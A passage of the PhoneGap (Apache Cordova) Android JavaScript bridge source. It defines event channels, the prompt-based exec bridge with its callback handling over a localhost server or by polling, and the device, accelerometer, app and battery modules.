* onNativeReady Internal event that indicates the PhoneGap native side is ready.
* onPhoneGapInit Internal event that kicks off creation of all PhoneGap JavaScript objects (runs constructors).
* onPhoneGapReady Internal event fired when all PhoneGap JavaScript objects have been created
* onPhoneGapInfoReady Internal event fired when device properties are available
* onDeviceReady User event fired to indicate that PhoneGap is ready
* onResume User event fired to indicate a start/resume lifecycle event
* onPause User event fired to indicate a pause lifecycle event
* onDestroy Internal event fired when app is being destroyed (User should use window.onunload event, not this one).
*
* The only PhoneGap events that user code should register for are:
* deviceready PhoneGap native code is initialized and PhoneGap APIs can be called from JavaScript
* pause App has moved to background
* resume App has returned to foreground
*
* Listeners can be registered as:
* document.addEventListener("deviceready", myDeviceReadyListener, false);
* document.addEventListener("resume", myResumeListener, false);
* document.addEventListener("pause", myPauseListener, false);
*
* The DOM lifecycle events should be used for saving and restoring state
* window.onload
* window.onunload
*/
/**
* This represents the PhoneGap API itself, and provides a global namespace for accessing
* information about the state of PhoneGap.
* @class
*/
var PhoneGap = {
documentEventHandler: {}, // Collection of custom document event handlers
windowEventHandler: {} // Collection of custom window event handlers
};
/**
* List of resource files loaded by PhoneGap.
* This is used to ensure JS and other files are loaded only once.
*/
PhoneGap.resources = {base: true};
/**
* Determine if resource has been loaded by PhoneGap
*
* @param name
* @return
*/
PhoneGap.hasResource = function(name) {
return PhoneGap.resources[name];
};
/**
* Add a resource to list of loaded resources by PhoneGap
*
* @param name
*/
PhoneGap.addResource = function(name) {
PhoneGap.resources[name] = true;
};
/**
* Custom pub-sub channel that can have functions subscribed to it
* @constructor
*/
PhoneGap.Channel = function (type)
{
this.type = type;
this.handlers = {};
this.guid = 0;
this.fired = false;
this.enabled = true;
};
/**
* Subscribes the given function to the channel. Any time that
* Channel.fire is called so too will the function.
* Optionally specify an execution context for the function
* and a guid that can be used to stop subscribing to the channel.
* Returns the guid.
*/
PhoneGap.Channel.prototype.subscribe = function(f, c, g) {
// need a function to call
if (f === null) { return; }
var func = f;
if (typeof c === "object" && typeof f === "function") { func = PhoneGap.close(c, f); }
g = g || func.observer_guid || f.observer_guid || this.guid++;
func.observer_guid = g;
f.observer_guid = g;
this.handlers[g] = func;
return g;
};
/**
* Like subscribe but the function is only called once and then it
* auto-unsubscribes itself.
*/
PhoneGap.Channel.prototype.subscribeOnce = function(f, c) {
var g = null;
var _this = this;
var m = function() {
f.apply(c || null, arguments);
_this.unsubscribe(g);
};
if (this.fired) {
if (typeof c === "object" && typeof f === "function") { f = PhoneGap.close(c, f); }
f.apply(this, this.fireArgs);
} else {
g = this.subscribe(m);
}
return g;
};
/**
* Unsubscribes the function with the given guid from the channel.
*/
PhoneGap.Channel.prototype.unsubscribe = function(g) {
if (typeof g === "function") { g = g.observer_guid; }
this.handlers[g] = null;
delete this.handlers[g];
};
/**
* Calls all functions subscribed to this channel.
*/
PhoneGap.Channel.prototype.fire = function(e) {
if (this.enabled) {
var fail = false;
var item, handler, rv;
for (item in this.handlers) {
if (this.handlers.hasOwnProperty(item)) {
handler = this.handlers[item];
if (typeof handler === "function") {
rv = (handler.apply(this, arguments) === false);
fail = fail || rv;
}
}
}
this.fired = true;
this.fireArgs = arguments;
return !fail;
}
return true;
};
/**
* Calls the provided function only after all of the channels specified
* have been fired.
*/
PhoneGap.Channel.join = function(h, c) {
var i = c.length;
var f = function() {
if (!(--i)) {
h();
}
};
var len = i;
var j;
for (j=0; j<len; j++) {
if (!c[j].fired) {
c[j].subscribeOnce(f);
}
else {
i--;
}
}
if (!i) {
h();
}
};
/**
* Add an initialization function to a queue that ensures it will run and initialize
* application constructors only once PhoneGap has been initialized.
* @param {Function} func The function callback you want run once PhoneGap is initialized
*/
PhoneGap.addConstructor = function(func) {
PhoneGap.onPhoneGapInit.subscribeOnce(function() {
try {
func();
} catch(e) {
console.log("Failed to run constructor: " + e);
}
});
};
/**
* Plugins object
*/
if (!window.plugins) {
window.plugins = {};
}
/**
* Adds a plugin object to window.plugins.
* The plugin is accessed using window.plugins.<name>
*
* @param name The plugin name
* @param obj The plugin object
*/
PhoneGap.addPlugin = function(name, obj) {
if (!window.plugins[name]) {
window.plugins[name] = obj;
}
else {
console.log("Error: Plugin "+name+" already exists.");
}
};
/**
* onDOMContentLoaded channel is fired when the DOM content
* of the page has been parsed.
*/
PhoneGap.onDOMContentLoaded = new PhoneGap.Channel('onDOMContentLoaded');
/**
* onNativeReady channel is fired when the PhoneGap native code
* has been initialized.
*/
PhoneGap.onNativeReady = new PhoneGap.Channel('onNativeReady');
/**
* onPhoneGapInit channel is fired when the web page is fully loaded and
* PhoneGap native code has been initialized.
*/
PhoneGap.onPhoneGapInit = new PhoneGap.Channel('onPhoneGapInit');
/**
* onPhoneGapReady channel is fired when the JS PhoneGap objects have been created.
*/
PhoneGap.onPhoneGapReady = new PhoneGap.Channel('onPhoneGapReady');
/**
* onPhoneGapInfoReady channel is fired when the PhoneGap device properties
* has been set.
*/
PhoneGap.onPhoneGapInfoReady = new PhoneGap.Channel('onPhoneGapInfoReady');
/**
* onPhoneGapConnectionReady channel is fired when the PhoneGap connection properties
* has been set.
*/
PhoneGap.onPhoneGapConnectionReady = new PhoneGap.Channel('onPhoneGapConnectionReady');
/**
* onDestroy channel is fired when the PhoneGap native code
* is destroyed. It is used internally.
* Window.onunload should be used by the user.
*/
PhoneGap.onDestroy = new PhoneGap.Channel('onDestroy');
PhoneGap.onDestroy.subscribeOnce(function() {
PhoneGap.shuttingDown = true;
});
PhoneGap.shuttingDown = false;
// _nativeReady is global variable that the native side can set
// to signify that the native code is ready. It is a global since
// it may be called before any PhoneGap JS is ready.
if (typeof _nativeReady !== 'undefined') { PhoneGap.onNativeReady.fire(); }
/**
* onDeviceReady is fired only after all PhoneGap objects are created and
* the device properties are set.
*/
PhoneGap.onDeviceReady = new PhoneGap.Channel('onDeviceReady');
// Array of channels that must fire before "deviceready" is fired
PhoneGap.deviceReadyChannelsArray = [ PhoneGap.onPhoneGapReady, PhoneGap.onPhoneGapInfoReady, PhoneGap.onPhoneGapConnectionReady];
// Hashtable of user defined channels that must also fire before "deviceready" is fired
PhoneGap.deviceReadyChannelsMap = {};
/**
* Indicate that a feature needs to be initialized before it is ready to be used.
* This holds up PhoneGap's "deviceready" event until the feature has been initialized
* and PhoneGap.initComplete(feature) is called.
*
* @param feature {String} The unique feature name
*/
PhoneGap.waitForInitialization = function(feature) {
if (feature) {
var channel = new PhoneGap.Channel(feature);
PhoneGap.deviceReadyChannelsMap[feature] = channel;
PhoneGap.deviceReadyChannelsArray.push(channel);
}
};
/**
* Indicate that initialization code has completed and the feature is ready to be used.
*
* @param feature {String} The unique feature name
*/
PhoneGap.initializationComplete = function(feature) {
var channel = PhoneGap.deviceReadyChannelsMap[feature];
if (channel) {
channel.fire();
}
};
/**
* Create all PhoneGap objects once page has fully loaded and native side is ready.
*/
PhoneGap.Channel.join(function() {
// Start listening for XHR callbacks
setTimeout(function() {
if (PhoneGap.UsePolling) {
PhoneGap.JSCallbackPolling();
}
else {
var polling = prompt("usePolling", "gap_callbackServer:");
PhoneGap.UsePolling = polling;
if (polling == "true") {
PhoneGap.UsePolling = true;
PhoneGap.JSCallbackPolling();
}
else {
PhoneGap.UsePolling = false;
PhoneGap.JSCallback();
}
}
}, 1);
// Run PhoneGap constructors
PhoneGap.onPhoneGapInit.fire();
// Fire event to notify that all objects are created
PhoneGap.onPhoneGapReady.fire();
// Fire onDeviceReady event once all constructors have run and PhoneGap info has been
// received from native side, and any user defined initialization channels.
PhoneGap.Channel.join(function() {
// Let native code know we are inited on JS side
prompt("", "gap_init:");
PhoneGap.onDeviceReady.fire();
}, PhoneGap.deviceReadyChannelsArray);
}, [ PhoneGap.onDOMContentLoaded, PhoneGap.onNativeReady ]);
// Listen for DOMContentLoaded and notify our channel subscribers
document.addEventListener('DOMContentLoaded', function() {
PhoneGap.onDOMContentLoaded.fire();
}, false);
// Intercept calls to document.addEventListener and watch for deviceready
PhoneGap.m_document_addEventListener = document.addEventListener;
// Intercept calls to window.addEventListener
PhoneGap.m_window_addEventListener = window.addEventListener;
/**
* Add a custom window event handler.
*
* @param {String} event The event name that callback handles
* @param {Function} callback The event handler
*/
PhoneGap.addWindowEventHandler = function(event, callback) {
PhoneGap.windowEventHandler[event] = callback;
};
/**
* Add a custom document event handler.
*
* @param {String} event The event name that callback handles
* @param {Function} callback The event handler
*/
PhoneGap.addDocumentEventHandler = function(event, callback) {
PhoneGap.documentEventHandler[event] = callback;
};
/**
* Intercept adding document event listeners and handle our own
*
* @param {Object} evt
* @param {Function} handler
* @param capture
*/
document.addEventListener = function(evt, handler, capture) {
var e = evt.toLowerCase();
if (e === 'deviceready') {
PhoneGap.onDeviceReady.subscribeOnce(handler);
}
else {
// If subscribing to Android backbutton
if (e === 'backbutton') {
PhoneGap.exec(null, null, "App", "overrideBackbutton", [true]);
}
// If subscribing to an event that is handled by a plugin
else if (typeof PhoneGap.documentEventHandler[e] !== "undefined") {
if (PhoneGap.documentEventHandler[e](e, handler, true)) {
return; // Stop default behavior
}
}
PhoneGap.m_document_addEventListener.call(document, evt, handler, capture);
}
};
/**
* Intercept adding window event listeners and handle our own
*
* @param {Object} evt
* @param {Function} handler
* @param capture
*/
window.addEventListener = function(evt, handler, capture) {
var e = evt.toLowerCase();
// If subscribing to an event that is handled by a plugin
if (typeof PhoneGap.windowEventHandler[e] !== "undefined") {
if (PhoneGap.windowEventHandler[e](e, handler, true)) {
return; // Stop default behavior
}
}
PhoneGap.m_window_addEventListener.call(window, evt, handler, capture);
};
// Intercept calls to document.removeEventListener and watch for events that
// are generated by PhoneGap native code
PhoneGap.m_document_removeEventListener = document.removeEventListener;
// Intercept calls to window.removeEventListener
PhoneGap.m_window_removeEventListener = window.removeEventListener;
/**
* Intercept removing document event listeners and handle our own
*
* @param {Object} evt
* @param {Function} handler
* @param capture
*/
document.removeEventListener = function(evt, handler, capture) {
var e = evt.toLowerCase();
// If unsubscribing to Android backbutton
if (e === 'backbutton') {
PhoneGap.exec(null, null, "App", "overrideBackbutton", [false]);
}
// If unsubcribing from an event that is handled by a plugin
if (typeof PhoneGap.documentEventHandler[e] !== "undefined") {
if (PhoneGap.documentEventHandler[e](e, handler, false)) {
return; // Stop default behavior
}
}
PhoneGap.m_document_removeEventListener.call(document, evt, handler, capture);
};
/**
* Intercept removing window event listeners and handle our own
*
* @param {Object} evt
* @param {Function} handler
* @param capture
*/
window.removeEventListener = function(evt, handler, capture) {
var e = evt.toLowerCase();
// If unsubcribing from an event that is handled by a plugin
if (typeof PhoneGap.windowEventHandler[e] !== "undefined") {
if (PhoneGap.windowEventHandler[e](e, handler, false)) {
return; // Stop default behavior
}
}
PhoneGap.m_window_removeEventListener.call(window, evt, handler, capture);
};
/**
* Method to fire document event
*
* @param {String} type The event type to fire
* @param {Object} data Data to send with event
*/
PhoneGap.fireDocumentEvent = function(type, data) {
var e = document.createEvent('Events');
e.initEvent(type);
if (data) {
for (var i in data) {
e[i] = data[i];
}
}
document.dispatchEvent(e);
};
/**
* Method to fire window event
*
* @param {String} type The event type to fire
* @param {Object} data Data to send with event
*/
PhoneGap.fireWindowEvent = function(type, data) {
var e = document.createEvent('Events');
e.initEvent(type);
if (data) {
for (var i in data) {
e[i] = data[i];
}
}
window.dispatchEvent(e);
};
/**
* Does a deep clone of the object.
*
* @param obj
* @return {Object}
*/
PhoneGap.clone = function(obj) {
var i, retVal;
if(!obj) {
return obj;
}
if(obj instanceof Array){
retVal = [];
for(i = 0; i < obj.length; ++i){
retVal.push(PhoneGap.clone(obj[i]));
}
return retVal;
}
if (typeof obj === "function") {
return obj;
}
if(!(obj instanceof Object)){
return obj;
}
if (obj instanceof Date) {
return obj;
}
retVal = {};
for(i in obj){
if(!(i in retVal) || retVal[i] !== obj[i]) {
retVal[i] = PhoneGap.clone(obj[i]);
}
}
return retVal;
};
PhoneGap.callbackId = 0;
PhoneGap.callbacks = {};
PhoneGap.callbackStatus = {
NO_RESULT: 0,
OK: 1,
CLASS_NOT_FOUND_EXCEPTION: 2,
ILLEGAL_ACCESS_EXCEPTION: 3,
INSTANTIATION_EXCEPTION: 4,
MALFORMED_URL_EXCEPTION: 5,
IO_EXCEPTION: 6,
INVALID_ACTION: 7,
JSON_EXCEPTION: 8,
ERROR: 9
};
/**
* Execute a PhoneGap command. It is up to the native side whether this action is synch or async.
* The native side can return:
* Synchronous: PluginResult object as a JSON string
* Asynchrounous: Empty string ""
* If async, the native side will PhoneGap.callbackSuccess or PhoneGap.callbackError,
* depending upon the result of the action.
*
* @param {Function} success The success callback
* @param {Function} fail The fail callback
* @param {String} service The name of the service to use
* @param {String} action Action to be run in PhoneGap
* @param {Array.<String>} [args] Zero or more arguments to pass to the method
*/
PhoneGap.exec = function(success, fail, service, action, args) {
try {
var callbackId = service + PhoneGap.callbackId++;
if (success || fail) {
PhoneGap.callbacks[callbackId] = {success:success, fail:fail};
}
var r = prompt(JSON.stringify(args), "gap:"+JSON.stringify([service, action, callbackId, true]));
// If a result was returned
if (r.length > 0) {
eval("var v="+r+";");
// If status is OK, then return value back to caller
if (v.status === PhoneGap.callbackStatus.OK) {
// If there is a success callback, then call it now with
// returned value
if (success) {
try {
success(v.message);
} catch (e) {
console.log("Error in success callback: " + callbackId + " = " + e);
}
// Clear callback if not expecting any more results
if (!v.keepCallback) {
delete PhoneGap.callbacks[callbackId];
}
}
return v.message;
}
// If no result
else if (v.status === PhoneGap.callbackStatus.NO_RESULT) {
// Clear callback if not expecting any more results
if (!v.keepCallback) {
delete PhoneGap.callbacks[callbackId];
}
}
// If error, then display error
else {
console.log("Error: Status="+v.status+" Message="+v.message);
// If there is a fail callback, then call it now with returned value
if (fail) {
try {
fail(v.message);
}
catch (e1) {
console.log("Error in error callback: "+callbackId+" = "+e1);
}
// Clear callback if not expecting any more results
if (!v.keepCallback) {
delete PhoneGap.callbacks[callbackId];
}
}
return null;
}
}
} catch (e2) {
console.log("Error: "+e2);
}
};
/**
* Called by native code when returning successful result from an action.
*
* @param callbackId
* @param args
*/
PhoneGap.callbackSuccess = function(callbackId, args) {
if (PhoneGap.callbacks[callbackId]) {
// If result is to be sent to callback
if (args.status === PhoneGap.callbackStatus.OK) {
try {
if (PhoneGap.callbacks[callbackId].success) {
PhoneGap.callbacks[callbackId].success(args.message);
}
}
catch (e) {
console.log("Error in success callback: "+callbackId+" = "+e);
}
}
// Clear callback if not expecting any more results
if (!args.keepCallback) {
delete PhoneGap.callbacks[callbackId];
}
}
};
/**
* Called by native code when returning error result from an action.
*
* @param callbackId
* @param args
*/
PhoneGap.callbackError = function(callbackId, args) {
if (PhoneGap.callbacks[callbackId]) {
try {
if (PhoneGap.callbacks[callbackId].fail) {
PhoneGap.callbacks[callbackId].fail(args.message);
}
}
catch (e) {
console.log("Error in error callback: "+callbackId+" = "+e);
}
// Clear callback if not expecting any more results
if (!args.keepCallback) {
delete PhoneGap.callbacks[callbackId];
}
}
};
PhoneGap.JSCallbackPort = null;
PhoneGap.JSCallbackToken = null;
/**
* This is only for Android.
*
* Internal function that uses XHR to call into PhoneGap Java code and retrieve
* any JavaScript code that needs to be run. This is used for callbacks from
* Java to JavaScript.
*/
PhoneGap.JSCallback = function() {
// Exit if shutting down app
if (PhoneGap.shuttingDown) {
return;
}
// If polling flag was changed, start using polling from now on
if (PhoneGap.UsePolling) {
PhoneGap.JSCallbackPolling();
return;
}
var xmlhttp = new XMLHttpRequest();
// Callback function when XMLHttpRequest is ready
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState === 4){
// Exit if shutting down app
if (PhoneGap.shuttingDown) {
return;
}
// If callback has JavaScript statement to execute
if (xmlhttp.status === 200) {
// Need to url decode the response
var msg = decodeURIComponent(xmlhttp.responseText);
setTimeout(function() {
try {
var t = eval(msg);
}
catch (e) {
// If we're getting an error here, seeing the message will help in debugging
console.log("JSCallback: Message from Server: " + msg);
console.log("JSCallback Error: "+e);
}
}, 1);
setTimeout(PhoneGap.JSCallback, 1);
}
// If callback ping (used to keep XHR request from timing out)
else if (xmlhttp.status === 404) {
setTimeout(PhoneGap.JSCallback, 10);
}
// If security error
else if (xmlhttp.status === 403) {
console.log("JSCallback Error: Invalid token. Stopping callbacks.");
}
// If server is stopping
else if (xmlhttp.status === 503) {
console.log("JSCallback Server Closed: Stopping callbacks.");
}
// If request wasn't GET
else if (xmlhttp.status === 400) {
console.log("JSCallback Error: Bad request. Stopping callbacks.");
}
// If error, revert to polling
else {
console.log("JSCallback Error: Request failed.");
PhoneGap.UsePolling = true;
PhoneGap.JSCallbackPolling();
}
}
};
if (PhoneGap.JSCallbackPort === null) {
PhoneGap.JSCallbackPort = prompt("getPort", "gap_callbackServer:");
}
if (PhoneGap.JSCallbackToken === null) {
PhoneGap.JSCallbackToken = prompt("getToken", "gap_callbackServer:");
}
xmlhttp.open("GET", "http://127.0.0.1:"+PhoneGap.JSCallbackPort+"/"+PhoneGap.JSCallbackToken , true);
xmlhttp.send();
};
/**
* The polling period to use with JSCallbackPolling.
* This can be changed by the application. The default is 50ms.
*/
PhoneGap.JSCallbackPollingPeriod = 50;
/**
* Flag that can be set by the user to force polling to be used or force XHR to be used.
*/
PhoneGap.UsePolling = false; // T=use polling, F=use XHR
/**
* This is only for Android.
*
* Internal function that uses polling to call into PhoneGap Java code and retrieve
* any JavaScript code that needs to be run. This is used for callbacks from
* Java to JavaScript.
*/
PhoneGap.JSCallbackPolling = function() {
// Exit if shutting down app
if (PhoneGap.shuttingDown) {
return;
}
// If polling flag was changed, stop using polling from now on
if (!PhoneGap.UsePolling) {
PhoneGap.JSCallback();
return;
}
var msg = prompt("", "gap_poll:");
if (msg) {
setTimeout(function() {
try {
var t = eval(""+msg);
}
catch (e) {
console.log("JSCallbackPolling: Message from Server: " + msg);
console.log("JSCallbackPolling Error: "+e);
}
}, 1);
setTimeout(PhoneGap.JSCallbackPolling, 1);
}
else {
setTimeout(PhoneGap.JSCallbackPolling, PhoneGap.JSCallbackPollingPeriod);
}
};
/**
* Create a UUID
*
* @return {String}
*/
PhoneGap.createUUID = function() {
return PhoneGap.UUIDcreatePart(4) + '-' +
PhoneGap.UUIDcreatePart(2) + '-' +
PhoneGap.UUIDcreatePart(2) + '-' +
PhoneGap.UUIDcreatePart(2) + '-' +
PhoneGap.UUIDcreatePart(6);
};
PhoneGap.UUIDcreatePart = function(length) {
var uuidpart = "";
var i, uuidchar;
for (i=0; i<length; i++) {
uuidchar = parseInt((Math.random() * 256),0).toString(16);
if (uuidchar.length === 1) {
uuidchar = "0" + uuidchar;
}
uuidpart += uuidchar;
}
return uuidpart;
};
PhoneGap.close = function(context, func, params) {
if (typeof params === 'undefined') {
return function() {
return func.apply(context, arguments);
};
} else {
return function() {
return func.apply(context, params);
};
}
};
/**
* Load a JavaScript file after page has loaded.
*
* @param {String} jsfile The url of the JavaScript file to load.
* @param {Function} successCallback The callback to call when the file has been loaded.
*/
PhoneGap.includeJavascript = function(jsfile, successCallback) {
var id = document.getElementsByTagName("head")[0];
var el = document.createElement('script');
el.type = 'text/javascript';
if (typeof successCallback === 'function') {
el.onload = successCallback;
}
el.src = jsfile;
id.appendChild(el);
};
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("device")) {
PhoneGap.addResource("device");
/**
* This represents the mobile device, and provides properties for inspecting the model, version, UUID of the
* phone, etc.
* @constructor
*/
var Device = function() {
this.available = PhoneGap.available;
this.platform = null;
this.version = null;
this.name = null;
this.uuid = null;
this.phonegap = null;
var me = this;
this.getInfo(
function(info) {
me.available = true;
me.platform = info.platform;
me.version = info.version;
me.name = info.name;
me.uuid = info.uuid;
me.phonegap = info.phonegap;
PhoneGap.onPhoneGapInfoReady.fire();
},
function(e) {
me.available = false;
console.log("Error initializing PhoneGap: " + e);
alert("Error initializing PhoneGap: "+e);
});
};
/**
* Get device info
*
* @param {Function} successCallback The function to call when the heading data is available
* @param {Function} errorCallback The function to call when there is an error getting the heading data. (OPTIONAL)
*/
Device.prototype.getInfo = function(successCallback, errorCallback) {
// successCallback required
if (typeof successCallback !== "function") {
console.log("Device Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Device Error: errorCallback is not a function");
return;
}
// Get info
PhoneGap.exec(successCallback, errorCallback, "Device", "getDeviceInfo", []);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.device === "undefined") {
navigator.device = window.device = new Device();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("accelerometer")) {
PhoneGap.addResource("accelerometer");
/** @constructor */
var Acceleration = function(x, y, z) {
this.x = x;
this.y = y;
this.z = z;
this.timestamp = new Date().getTime();
};
/**
* This class provides access to device accelerometer data.
* @constructor
*/
var Accelerometer = function() {
/**
* The last known acceleration. type=Acceleration()
*/
this.lastAcceleration = null;
/**
* List of accelerometer watch timers
*/
this.timers = {};
};
Accelerometer.ERROR_MSG = ["Not running", "Starting", "", "Failed to start"];
/**
* Asynchronously aquires the current acceleration.
*
* @param {Function} successCallback The function to call when the acceleration data is available
* @param {Function} errorCallback The function to call when there is an error getting the acceleration data. (OPTIONAL)
* @param {AccelerationOptions} options The options for getting the accelerometer data such as timeout. (OPTIONAL)
*/
Accelerometer.prototype.getCurrentAcceleration = function(successCallback, errorCallback, options) {
// successCallback required
if (typeof successCallback !== "function") {
console.log("Accelerometer Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Accelerometer Error: errorCallback is not a function");
return;
}
// Get acceleration
PhoneGap.exec(successCallback, errorCallback, "Accelerometer", "getAcceleration", []);
};
/**
* Asynchronously aquires the acceleration repeatedly at a given interval.
*
* @param {Function} successCallback The function to call each time the acceleration data is available
* @param {Function} errorCallback The function to call when there is an error getting the acceleration data. (OPTIONAL)
* @param {AccelerationOptions} options The options for getting the accelerometer data such as timeout. (OPTIONAL)
* @return String The watch id that must be passed to #clearWatch to stop watching.
*/
Accelerometer.prototype.watchAcceleration = function(successCallback, errorCallback, options) {
// Default interval (10 sec)
var frequency = (options !== undefined)? options.frequency : 10000;
// successCallback required
if (typeof successCallback !== "function") {
console.log("Accelerometer Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Accelerometer Error: errorCallback is not a function");
return;
}
// Make sure accelerometer timeout > frequency + 10 sec
PhoneGap.exec(
function(timeout) {
if (timeout < (frequency + 10000)) {
PhoneGap.exec(null, null, "Accelerometer", "setTimeout", [frequency + 10000]);
}
},
function(e) { }, "Accelerometer", "getTimeout", []);
// Start watch timer
var id = PhoneGap.createUUID();
navigator.accelerometer.timers[id] = setInterval(function() {
PhoneGap.exec(successCallback, errorCallback, "Accelerometer", "getAcceleration", []);
}, (frequency ? frequency : 1));
return id;
};
/**
* Clears the specified accelerometer watch.
*
* @param {String} id The id of the watch returned from #watchAcceleration.
*/
Accelerometer.prototype.clearWatch = function(id) {
// Stop javascript timer & remove from timer list
if (id && navigator.accelerometer.timers[id] !== undefined) {
clearInterval(navigator.accelerometer.timers[id]);
delete navigator.accelerometer.timers[id];
}
};
PhoneGap.addConstructor(function() {
if (typeof navigator.accelerometer === "undefined") {
navigator.accelerometer = new Accelerometer();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("app")) {
PhoneGap.addResource("app");
(function() {
/**
* Constructor
* @constructor
*/
var App = function() {};
/**
* Clear the resource cache.
*/
App.prototype.clearCache = function() {
PhoneGap.exec(null, null, "App", "clearCache", []);
};
/**
* Load the url into the webview or into new browser instance.
*
* @param url The URL to load
* @param props Properties that can be passed in to the activity:
* wait: int => wait msec before loading URL
* loadingDialog: "Title,Message" => display a native loading dialog
* loadUrlTimeoutValue: int => time in msec to wait before triggering a timeout error
* clearHistory: boolean => clear webview history (default=false)
* openExternal: boolean => open in a new browser (default=false)
*
* Example:
* navigator.app.loadUrl("http://server/myapp/index.html", {wait:2000, loadingDialog:"Wait,Loading App", loadUrlTimeoutValue: 60000});
*/
App.prototype.loadUrl = function(url, props) {
PhoneGap.exec(null, null, "App", "loadUrl", [url, props]);
};
/**
* Cancel loadUrl that is waiting to be loaded.
*/
App.prototype.cancelLoadUrl = function() {
PhoneGap.exec(null, null, "App", "cancelLoadUrl", []);
};
/**
* Clear web history in this web view.
* Instead of BACK button loading the previous web page, it will exit the app.
*/
App.prototype.clearHistory = function() {
PhoneGap.exec(null, null, "App", "clearHistory", []);
};
/**
* Go to previous page displayed.
* This is the same as pressing the backbutton on Android device.
*/
App.prototype.backHistory = function() {
PhoneGap.exec(null, null, "App", "backHistory", []);
};
/**
* Exit and terminate the application.
*/
App.prototype.exitApp = function() {
return PhoneGap.exec(null, null, "App", "exitApp", []);
};
PhoneGap.addConstructor(function() {
navigator.app = new App();
});
}());
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("battery")) {
PhoneGap.addResource("battery");
/**
* This class contains information about the current battery status.
* @constructor
*/
var Battery = function() {
this._level = null;
this._isPlugged = null;
this._batteryListener = [];
this._lowListener = [];
this._criticalListener = [];
};
/**
* Registers as an event producer for battery events.
*
* @param {Object} eventType
* @param {Object} handler
* @param {Object} add
*/
Battery.prototype.eventHandler = function(eventType, handler, add) {
var me = navigator.battery;
if (add) {
// If there are no current registered event listeners start the battery listener on native side.
if (me._batteryListener.length === 0 && me._lowListener.length === 0 && me._criticalListener.length === 0) {
PhoneGap.exec(me._status, me._error, "Battery", "start", []);
}
// Register the event listener in the proper array
if (eventType === "batterystatus") {
if (me._batteryListener.indexOf(handler) === -1) {
me._batteryListener.push(handler);
}
} else if (eventType === "batterylow") {
if (me._lowListener.indexOf(handler) === -1) {
me._lowListener.push(handler);
}
} else if (eventType === "batterycritical") {
if (me._criticalListener.indexOf(handler) === -1) {
me._criticalListener.push(handler);
}
}
} else {
var pos = -1;
// Remove the event listener from the proper array
if (eventType === "batterystatus") {
pos = me._batteryListener.indexOf(handler);
if (pos > -1) {
me._batteryListener.splice(pos, 1);
}
} else if (eventType === "batterylow") {
pos = me._lowListener.indexOf(handler);
if (pos > -1) {
me._lowListener.splice(pos, 1);
}
} else if (eventType === "batterycritical") {
pos = me._criticalListener.indexOf(handler);
if (pos > -1) {
me._criticalListener.splice(pos, 1);
}
}
// If there are no more registered event listeners stop the battery listener on native side.
if (me._batteryListener.length === 0 && me._lowListener.length === 0 && me._criticalListener.length === 0) {
PhoneGap.exec(null, null, "Battery", "stop", []);
}
}
};
/**
* Callback for battery status
*
* @param {Object} info keys: level, isPlugged
*/
Battery.prototype._status = function(info) {
if (info) {
var me = this;
var level = info.level;
if (me._level !== level || me._isPlugged !== info.isPlugged) {
// Fire batterystatus event
PhoneGap.fireWindowEvent("batterystatus", info);
// Fire low battery event
if (level === 20 || level === 5) {
if (level === 20) {
PhoneGap.fireWindowEvent("batterylow", info);
}
else {
PhoneGap.fireWindowEvent("batterycritical", info);
}
}
}
me._level = level;
me._isPlugged = info.isPlugged;
}
};
/**
* Error callback for battery start
*/
Battery.prototype._error = function(e) {
console.log("Error initializing Battery: " + e);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.battery === "undefined") {
navigator.battery = new Battery();
PhoneGap.addWindowEventHandler("batterystatus", navigator.battery.eventHandler);
PhoneGap.addWindowEventHandler("batterylow", navigator.battery.eventHandler);
PhoneGap.addWindowEventHandler("batterycritical", navigator.battery.eventHandler);
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
